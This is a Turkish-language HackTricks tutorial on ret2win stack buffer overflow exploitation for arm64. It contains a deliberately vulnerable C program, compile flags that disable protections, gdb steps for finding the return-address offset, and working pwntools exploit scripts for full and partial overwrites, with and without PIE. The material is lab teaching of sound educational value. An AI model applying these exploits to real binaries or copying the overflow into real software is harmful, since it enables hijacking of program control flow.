Ret2win - arm64
Reading time: 4 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.
arm64'e giriş için şunu bulun:
Code
#include <stdio.h>
#include <unistd.h>
void win() {
printf("Congratulations!\n");
}
void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}
int main() {
vulnerable_function();
return 0;
}
PIE ve canary olmadan derleyin:
clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie
Offset Bulma
Desen Seçeneği
Bu örnek GEF kullanılarak oluşturuldu:
Gef ile gdb'yi başlatın, desen oluşturun ve kullanın:
gdb -q ./ret2win
pattern create 200
run
arm64, ele geçirilmiş olan x30 kaydındaki adrese geri dönmeye çalışacaktır, bunu desen ofsetini bulmak için kullanabiliriz:
pattern search $x30
Ofset 72'dir (9x48).
Yığın ofset seçeneği
pc kaydının saklandığı yığın adresini alarak başlayın:
gdb -q ./ret2win
b *vulnerable_function + 0xc
run
info frame
Şimdi read()
'den sonra bir kesme noktası ayarlayın ve read()
çalıştırılana kadar devam edin ve 13371337 gibi bir desen ayarlayın:
b *vulnerable_function+28
c
Bu desenin bellekte nerede saklandığını bulun:
Sonra: 0xfffffffff148 - 0xfffffffff100 = 0x48 = 72
No PIE
Regular
win
fonksiyonunun adresini alın:
objdump -d ret2win | grep win
ret2win: file format elf64-littleaarch64
00000000004006c4 <win>:
Sömürü:
from pwn import *
# Configuration
binary_name = './ret2win'
p = process(binary_name)
# Prepare the payload
offset = 72
ret2win_addr = p64(0x00000000004006c4)
payload = b'A' * offset + ret2win_addr
# Send the payload
p.send(payload)
# Check response
print(p.recvline())
p.close()
Off-by-1
Aslında bu, yığında saklanan PC'de daha çok off-by-2 olacak. Tüm dönüş adresini yazmak yerine, sadece son 2 baytı 0x06c4
ile yazacağız.
from pwn import *
# Configuration
binary_name = './ret2win'
p = process(binary_name)
# Prepare the payload
offset = 72
ret2win_addr = p16(0x06c4)
payload = b'A' * offset + ret2win_addr
# Send the payload
p.send(payload)
# Check response
print(p.recvline())
p.close()
ARM64'te başka bir off-by-one örneğini https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/ adresinde bulabilirsiniz, bu, kurgusal bir zafiyette gerçek bir off-by-one örneğidir.
PIE ile
tip
İkili dosyayı -no-pie
argümanı olmadan derleyin
Off-by-2
Bir leak olmadan kazanan fonksiyonun tam adresini bilemeyiz ama fonksiyonun ikili dosyadan olan offset'ini bilebiliriz ve overwrite ettiğimiz return adresinin zaten yakın bir adrese işaret ettiğini bildiğimizde, bu durumda win fonksiyonunun offset'ini (0x7d4) leak etmek ve sadece bu offset'i kullanmak mümkündür:
from pwn import *
# Configuration
binary_name = './ret2win'
p = process(binary_name)
# Prepare the payload
offset = 72
ret2win_addr = p16(0x07d4)
payload = b'A' * offset + ret2win_addr
# Send the payload
p.send(payload)
# Check response
print(p.recvline())
p.close()
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.